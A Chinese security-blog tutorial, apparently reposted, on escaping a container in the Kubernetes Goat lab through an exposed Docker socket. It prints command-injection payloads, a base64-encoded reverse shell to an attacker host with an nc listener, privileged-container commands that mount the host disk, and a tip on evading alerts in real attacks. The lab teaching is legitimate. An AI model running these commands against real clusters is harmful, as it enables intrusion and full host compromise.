文章总结: 本文探讨云原生DIND场景下的容器逃逸技术。首先利用命令注入漏洞获取初始访问,探测发现容器挂载了宿主机的Docker套接字。随后在容器内部署Docker客户端,通过套接字与宿主机守护进程交互,创建特权容器并挂载宿主机磁盘,最终读取宿主机敏感文件实现逃逸,揭示了套接字暴露配置的高危风险。 综合评分: 88 文章分类: 云原生安全,渗透测试,漏洞分析,WEB安全,内网渗透
【云原生安全】容器环境DIND场景下的漏洞发现与利用
进击的HACK
2026年1月24日 07:50 江苏
编者荐语:
如果是minikube启动的,逃逸只会逃逸到minikube的容器下面
以下文章来源于朱厌安全 ,作者朱厌安全
朱厌安全 .
WEB安全技术分享、CTF解题思路笔记分享、网安工具分享、渗透测试、漏洞挖掘等 推荐公众号:狐狸说安全
0X00 前言
靶场搭建就不过多描述了,不知道的可以看上一篇文章 在场景结束时,我们将理解并学习以下内容:
- 您将学习测试和利用容器 UNIX 套接字错误配置
- 能够利用容器并逃逸出Docker容器
- 了解管道和 CI/CD 构建系统中常见的错误配置
在开始之前,我们要了解一下目前该场景的一些状况:在2024年官方将该场景套接字进行了修改
可以看到官方将/var/run/docker.sock修改为了/run/containerd/containerd.sock,在后面利用的时候我将此处进行了还原,但是映射后的容器中的套接字名称以及路径并没有改变,意思就是我是使用的宿主机的docker.sock套接字,但在容器中仍然为/run/containerd/containerd.sock,注意区分不要被误导!
0X01 漏洞发现与利用
访问漏洞环境地址: http://IP:1231/
漏洞探测,发现为典型的ping漏洞,在pikachu靶场也有这个场景漏洞
尝试绕过
127.0.0.1 && curl www.baidu.com
发现利用成功,但是这样输出的太多垃圾数据了,尝试一下有没有其他的利用方式
;id
发现可以截断执行命令(常规手法),接下来就探测内网的环境容器
;env
存在kubernete环境,探测容器权限
;fdisk -l
执行该命令后发现返回报错信息,尝试其他命令探测,执行以下命令
;cat /proc/self/status | grep CapEff
返回结果为CapEff: 000001ffffffffff判断为高权限容器环境,尝试下一步利用查看挂载情况,执行命令
;mount
发现存在套接字并且为containerd,也是本篇所要使用到的利用思路,但是在前言中提到,我们将deployment.yaml文件进行了修改,所以暂时不对运行时套接字展开利用
0X02 DIND配置错误漏洞发现
修改/kubernetes-goat/scenarios/health-checkdeployment.yaml文件
apiVersion: apps/v1
kind:Deployment
metadata:
name:health-check-deployment
spec:
selector:
matchLabels:
app:health-check
template:
metadata:
labels:
app:health-check
spec:
containers:
-name:health-check
image:madhuakula/k8s-goat-health-check
resources:
limits:
memory:"100Mi"
cpu:"30m"
ports:
-containerPort:80
# Custom Stuff
securityContext:
privileged:true
volumeMounts:
-mountPath:/custom/containerd/containerd.sock
name:containerd-sock-volume
volumes:
-name:containerd-sock-volume
hostPath:
path:/run/docker.sock#/run/containerd/containerd.sock
type:Socket
---
apiVersion:v1
kind:Service
metadata:
name:health-check-service
spec:
ports:
-protocol:TCP
port:80
targetPort:80
selector:
app:health-check
这里将运行时套接字修改为了docker.sock套接字 开启靶场环境
bash setup-kubernetes-goat.sh
等待镜像创建成功后,将端口服务暴露出来
bash access-kubernetes-goat.sh
访问地址:http://IP:1231/下载docker
;wget https://download.docker.com/linux/static/stable/x86_64/docker-28.3.2.tgz -O /tmp/docker.tar.gz
如果遇到执行下载命令后页面访问失败,可以执行下面的命令进入容器下载完成docker后再继续向下漏洞利用
kubectl exec -it -n default $(kubectl get pod -l app=health-check -o name) -- /bin/bash
下载完成后,解压tar包(注意: 这里已经回靶场Web界面了)
;tar /tmp/docker.tar.gz /tmp/docker
这里containerd.sock实际映射的是docker.sock,因为前面已经修改yaml文件,但是containerd.sock没有修改,看自己怎么修改了,也可以直接把containerd.sock修改为docker.sock路径。如果需要修改,可以修改为下面这个yaml内容。
Eg:
apiVersion: apps/v1
kind:Deployment
metadata:
name:health-check-deployment
spec:
selector:
matchLabels:
app:health-check
template:
metadata:
labels:
app:health-check
spec:
containers:
-name:health-check
image:madhuakula/k8s-goat-health-check
resources:
limits:
memory:"100Mi"
cpu:"30m"
ports:
-containerPort:80
# Custom Stuff
securityContext:
privileged:true
volumeMounts:
-mountPath:/custom/docker.sock #/custom/containerd/containerd.sock
name:containerd-sock-volume
volumes:
-name:containerd-sock-volume
hostPath:
path:/run/docker.sock #/run/containerd/containerd.sock
type:Socket
---
apiVersion:v1
kind:Service
metadata:
name:health-check-service
spec:
ports:
-protocol:TCP
port:80
targetPort:80
selector:
app:health-check
如果用上面这个yaml,可以执行;mount | grep sock来确定是否修改成功,后面就可以使用命令列出镜像列表:
;/tmp/docker/docker -H unix:///custom/docker.sock images
这里我还是使用未修改的套接字(实际是映射的宿主机的docker.sock套接字,修改过上面的,下面的命令平替一下即可)
;/tmp/docker/docker -H unix:///custom/containerd/containerd.sock images
这里就运用到了本文的DIND机制,即在容器使用套接字就可以管理宿主机中的容器
0X03 利用DIND特权进行容器逃逸🎯
可以逃逸的思路
1. 寻找或创建特权容器挂载进行逃逸
2. 尝试CVE历史漏洞进行逃逸
3. 等等
反弹shell到vps(方便后面命令执行) 攻击机进行监听
nc -lvnp 8811
漏洞页面执行反弹命令
;echo "YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvSVAvODgxMSA8JjE" | base64 -d | bash
可以看到成功接收到shell
/tmp/docker/docker -H unix:///custom/containerd/containerd.sock images
尝试创建特权容器(实战中这里需要斟酌一下,流量设备可能会具备创建异常特权容器的相关策略,可能会出发告警,要规避一下)
/tmp/docker/docker -H unix:///custom/containerd/containerd.sock run -it --privileged ubuntu /bin/bash
非交互式终端创建特权容器
/tmp/docker/docker -H unix:///custom/containerd/containerd.sock run --privileged ubuntu /bin/bash
也可以强制模拟TTY制造一个伪终端
script -q -c "/tmp/docker/docker -H unix:///custom/containerd/containerd.sock run -it --privileged ubuntu /bin/bash" /dev/null
这里我直接用伪终端进行下一步操作,查看挂载:
mount
挂载自盘到mnt文件夹
mount /dev/vda1 /mnt
进入/mnt文件夹,分别cat两个passwd文件来证明逃逸是否成功
cat /etc/passwd #容器下的passwd
cat etc/passwd
成功逃逸,DIND漏洞场景利用到此结束了(后面可能会出一个运行时套接字的利用)
集合更新记录
【云原生安全】CI CD与Gitops中易产生的漏洞发现与利用
朱厌安全,公众号:朱厌安全【云原生安全】CI CD与Gitops中易产生的漏洞发现与利用
云原生安全】海外Kubernete靶场搭建
朱厌安全,公众号:朱厌安全【云原生安全】海外Kubernete靶场搭建
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:进击的HACK 《【云原生安全】容器环境DIND场景下的漏洞发现与利用》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论